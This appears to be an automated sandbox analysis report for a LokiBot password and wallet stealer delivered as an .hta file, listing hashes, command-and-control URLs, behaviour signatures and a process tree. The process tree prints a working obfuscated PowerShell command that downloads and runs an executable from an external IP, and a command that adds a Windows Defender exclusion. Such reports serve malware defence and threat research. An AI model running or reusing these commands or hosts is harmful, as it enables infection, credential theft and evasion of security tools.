Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 10:02

General

  • Target

    goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

  • Size

    23KB

  • MD5

    ec0d423a3f72d69975a1e31a275f5377

  • SHA1

    213922fb8456ecaadc24889afec1ac6ef5010c68

  • SHA256

    9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac

  • SHA512

    8132f567abfd4e3489204d1f3a9fc8292457ce10495345cd0ccfa8074233411c8305c4d73078a7dee02b086fbc22b8ad7047dd4bc127de337d0800771edf53ad

  • SSDEEP

    96:C2vy2KJTuvPTTwduJZA6/3P42e2+ip2k+:TLwuv6QP5f+F3

Malware Config

Extracted

Family

lokibot

C2

http://94.156.177.41/maxzi/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\goodtoseeuthatgreatthingswithentirethingsgreatfor.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
      "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1124
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sygzghn1\sygzghn1.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC7A5.tmp" "c:\Users\Admin\AppData\Local\Temp\sygzghn1\CSCD085999289774D25B715B1B39A01727.TMP"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3836
      • C:\Users\Admin\AppData\Roaming\wininit.exe
        "C:\Users\Admin\AppData\Roaming\wininit.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2144
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
        • C:\Users\Admin\AppData\Roaming\wininit.exe
          "C:\Users\Admin\AppData\Roaming\wininit.exe"
          4⤵
          • Executes dropped EXE
          PID:1952
        • C:\Users\Admin\AppData\Roaming\wininit.exe
          "C:\Users\Admin\AppData\Roaming\wininit.exe"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:3768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\poWERShell.eXe.log

    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    17KB

    MD5

    700ac6dc0778b1b4f8b661521a98ab00

    SHA1

    068e8ed610d950960c902caa0dea93c5030957ec

    SHA256

    81365026ae24ef8bd448d06e6a65faa85ac12786dd200c8939cc5539c53c6b51

    SHA512

    b73464ed114979e1239989b49cf2c87f91d444e86ed24a9bb26c92f8ec4b2af78d8a784327dbecf30b8a782a0490c6c7b18da9ae6d5107f0d66a3076bd47c440

  • C:\Users\Admin\AppData\Local\Temp\RESC7A5.tmp

    Filesize

    1KB

    MD5

    507e09ac7c70ab06386569f2eeb795e9

    SHA1

    2cd64685b112d6a7073536f04bc56f1d7504144d

    SHA256

    8e7c8feb32d0dff2988598a26464481a1eca64d252a6919050c6258d8ac78835

    SHA512

    a17e112149135fde9811d779b482697de0c120c5941c9dc9fe362305e659f7dbffb5911b728725e64e1fd2c73e11d9a0379966022adff085a381987fa64c1acd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gukf0mfg.mzz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\sygzghn1\sygzghn1.dll

    Filesize

    3KB

    MD5

    9cbe4903d8633ae89de173ff68c5395e

    SHA1

    539ade33bcc252f629791e1d1dfa4e3e74f3d616

    SHA256

    0645fb87fda76da64f40c0e80caeddeac534c4be7221d896d224404ae2a69d21

    SHA512

    2ead7ee931297eba3dd641d2b3322c0ea9471bf1f718b145ae7a8dd201745b427486aca787413362a6d0b649d5f21fc0e49b956b7f41033f926bc9fbbc4c7a9a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\wininit.exe

    Filesize

    586KB

    MD5

    66b03d1aff27d81e62b53fc108806211

    SHA1

    2557ec8b32d0b42cac9cabde199d31c5d4e40041

    SHA256

    59586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4

    SHA512

    9f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d

  • \??\c:\Users\Admin\AppData\Local\Temp\sygzghn1\CSCD085999289774D25B715B1B39A01727.TMP

    Filesize

    652B

    MD5

    b9257b0529f6484f9addcab1eef0d084

    SHA1

    8a8eb9829e5066780028ad3a789a2e7eac879f3b

    SHA256

    eda5348a3f913e784bf17d6d386313ddcbf2cffb39a1d581008df9d266bcb5b6

    SHA512

    f0f3dda85b4feb9d49527047c5a3b6cf5350a6b64818f6f64bee4e13c1e76219483e51c129c739082a10a14a01314febfcd4d217584f4c19f1b938a78d83fb28

  • \??\c:\Users\Admin\AppData\Local\Temp\sygzghn1\sygzghn1.0.cs

    Filesize

    480B

    MD5

    b0517586f4097114e790c61f2685f0d5

    SHA1

    20f7482298ab96731228ebd5242ceddfd72ff50f

    SHA256

    a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237

    SHA512

    c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0

  • \??\c:\Users\Admin\AppData\Local\Temp\sygzghn1\sygzghn1.cmdline

    Filesize

    369B

    MD5

    92bd85798335e8d504b05ca504d1fc92

    SHA1

    68440637de6199d5eb9b9460529d729ac4facd64

    SHA256

    ec65be27be1906780880adb4e2ea571a668646a694f4b788abf88a78c3c41f5c

    SHA512

    49ceee11bbc59870178257ff7325d7d494171732803a7c2684bf3270b8b16e8bf208f83c9113066c5755a495d353357110dea5007401450131583345a1a0435f

  • memory/1124-40-0x0000000006750000-0x000000000676E000-memory.dmp

    Filesize

    120KB

  • memory/1124-50-0x00000000077A0000-0x00000000077A8000-memory.dmp

    Filesize

    32KB

  • memory/1124-30-0x000000006DCD0000-0x000000006DD1C000-memory.dmp

    Filesize

    304KB

  • memory/1124-29-0x00000000067C0000-0x00000000067F2000-memory.dmp

    Filesize

    200KB

  • memory/1124-41-0x00000000071F0000-0x0000000007293000-memory.dmp

    Filesize

    652KB

  • memory/1124-42-0x0000000007B70000-0x00000000081EA000-memory.dmp

    Filesize

    6.5MB

  • memory/1124-43-0x0000000007520000-0x000000000753A000-memory.dmp

    Filesize

    104KB

  • memory/1124-44-0x0000000007580000-0x000000000758A000-memory.dmp

    Filesize

    40KB

  • memory/1124-45-0x00000000077B0000-0x0000000007846000-memory.dmp

    Filesize

    600KB

  • memory/1124-46-0x0000000007720000-0x0000000007731000-memory.dmp

    Filesize

    68KB

  • memory/1124-47-0x0000000007750000-0x000000000775E000-memory.dmp

    Filesize

    56KB

  • memory/1124-48-0x0000000007760000-0x0000000007774000-memory.dmp

    Filesize

    80KB

  • memory/1124-49-0x0000000007870000-0x000000000788A000-memory.dmp

    Filesize

    104KB

  • memory/2144-88-0x0000000006B20000-0x0000000006B84000-memory.dmp

    Filesize

    400KB

  • memory/2144-81-0x0000000000930000-0x00000000009C8000-memory.dmp

    Filesize

    608KB

  • memory/2144-84-0x00000000052F0000-0x0000000005382000-memory.dmp

    Filesize

    584KB

  • memory/2144-82-0x0000000005800000-0x0000000005DA4000-memory.dmp

    Filesize

    5.6MB

  • memory/2144-85-0x0000000005250000-0x000000000525A000-memory.dmp

    Filesize

    40KB

  • memory/2144-86-0x0000000005440000-0x00000000054DC000-memory.dmp

    Filesize

    624KB

  • memory/2144-87-0x0000000005500000-0x0000000005512000-memory.dmp

    Filesize

    72KB

  • memory/3320-106-0x000000006DC90000-0x000000006DCDC000-memory.dmp

    Filesize

    304KB

  • memory/3320-130-0x0000000007EF0000-0x0000000007F04000-memory.dmp

    Filesize

    80KB

  • memory/3320-99-0x0000000006290000-0x00000000065E4000-memory.dmp

    Filesize

    3.3MB

  • memory/3320-105-0x0000000006C70000-0x0000000006CBC000-memory.dmp

    Filesize

    304KB

  • memory/3320-119-0x0000000007B60000-0x0000000007C03000-memory.dmp

    Filesize

    652KB

  • memory/3320-120-0x0000000007EB0000-0x0000000007EC1000-memory.dmp

    Filesize

    68KB

  • memory/3768-92-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3768-90-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3768-146-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3768-139-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/4616-65-0x0000000006300000-0x0000000006308000-memory.dmp

    Filesize

    32KB

  • memory/4616-17-0x0000000005760000-0x0000000005AB4000-memory.dmp

    Filesize

    3.3MB

  • memory/4616-71-0x000000007141E000-0x000000007141F000-memory.dmp

    Filesize

    4KB

  • memory/4616-5-0x0000000004DB0000-0x0000000004DD2000-memory.dmp

    Filesize

    136KB

  • memory/4616-6-0x0000000005680000-0x00000000056E6000-memory.dmp

    Filesize

    408KB

  • memory/4616-83-0x0000000071410000-0x0000000071BC0000-memory.dmp

    Filesize

    7.7MB

  • memory/4616-7-0x00000000056F0000-0x0000000005756000-memory.dmp

    Filesize

    408KB

  • memory/4616-72-0x0000000071410000-0x0000000071BC0000-memory.dmp

    Filesize

    7.7MB

  • memory/4616-18-0x0000000005D60000-0x0000000005D7E000-memory.dmp

    Filesize

    120KB

  • memory/4616-19-0x0000000005E00000-0x0000000005E4C000-memory.dmp

    Filesize

    304KB

  • memory/4616-0-0x000000007141E000-0x000000007141F000-memory.dmp

    Filesize

    4KB

  • memory/4616-3-0x0000000004EE0000-0x0000000005508000-memory.dmp

    Filesize

    6.2MB

  • memory/4616-1-0x0000000002440000-0x0000000002476000-memory.dmp

    Filesize

    216KB

  • memory/4616-4-0x0000000071410000-0x0000000071BC0000-memory.dmp

    Filesize

    7.7MB

  • memory/4616-2-0x0000000071410000-0x0000000071BC0000-memory.dmp

    Filesize

    7.7MB